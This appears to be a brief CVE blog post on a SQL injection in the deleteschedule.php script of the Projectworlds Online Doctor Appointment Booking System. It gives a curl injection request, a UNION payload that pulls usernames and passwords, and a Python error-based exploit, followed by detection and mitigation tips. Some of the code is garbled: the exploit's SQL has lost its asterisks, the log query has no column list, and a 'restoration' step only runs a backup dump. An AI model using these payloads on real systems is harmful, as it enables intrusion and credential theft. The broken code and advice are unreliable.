Projectworlds Online Doctor Appointment Booking System 10, SQL Injection, CVE-2025-3180 (Critical)

How the CVE Works

The vulnerability exists in `/doctor/deleteschedule.php` due to improper sanitization of the `ID` parameter, allowing attackers to inject malicious SQL queries. When a crafted request is sent, the backend database executes unintended commands, potentially enabling unauthorized data access, modification, or deletion. The flaw is remotely exploitable without authentication, making it critical. Attackers leverage input manipulation to bypass security checks, exploiting weak input validation in the PHP script.

DailyCVE Form

Platform: Projectworlds Online Doctor Booking
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025

What Undercode Say:

Exploitation:

curl -X POST "http://target.com/doctor/deleteschedule.php" -d "ID=1' OR 1=1--"

SQL Payload:

1' UNION SELECT username, password FROM users--

Detection (Log Analysis):

grep -i "deleteschedule.php?ID=.'" /var/log/apache2/access.log

Mitigation:

1. Patch: Apply vendor updates.

2. Input Sanitization:

$id = mysqli_real_escape_string($conn, $_POST['ID']);

3. WAF Rule:

location ~ deleteschedule.php {
deny all;
}

4. Database Hardening:

REVOKE DELETE ON appointments FROM 'webuser'@'%';

Exploit PoC (Python):

import requests
url = "http://victim.com/doctor/deleteschedule.php"
payload = {"ID": "1' AND (SELECT 1 FROM(SELECT COUNT(),CONCAT(user(),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--"}
r = requests.post(url, data=payload)
print(r.text)

Post-Exploit Analysis:

SELECT FROM mysql.general_log WHERE argument LIKE '%deleteschedule%';

Backup Restoration (If Compromised):

mysqldump -u root -p --all-databases > backup.sql

End.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3180
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top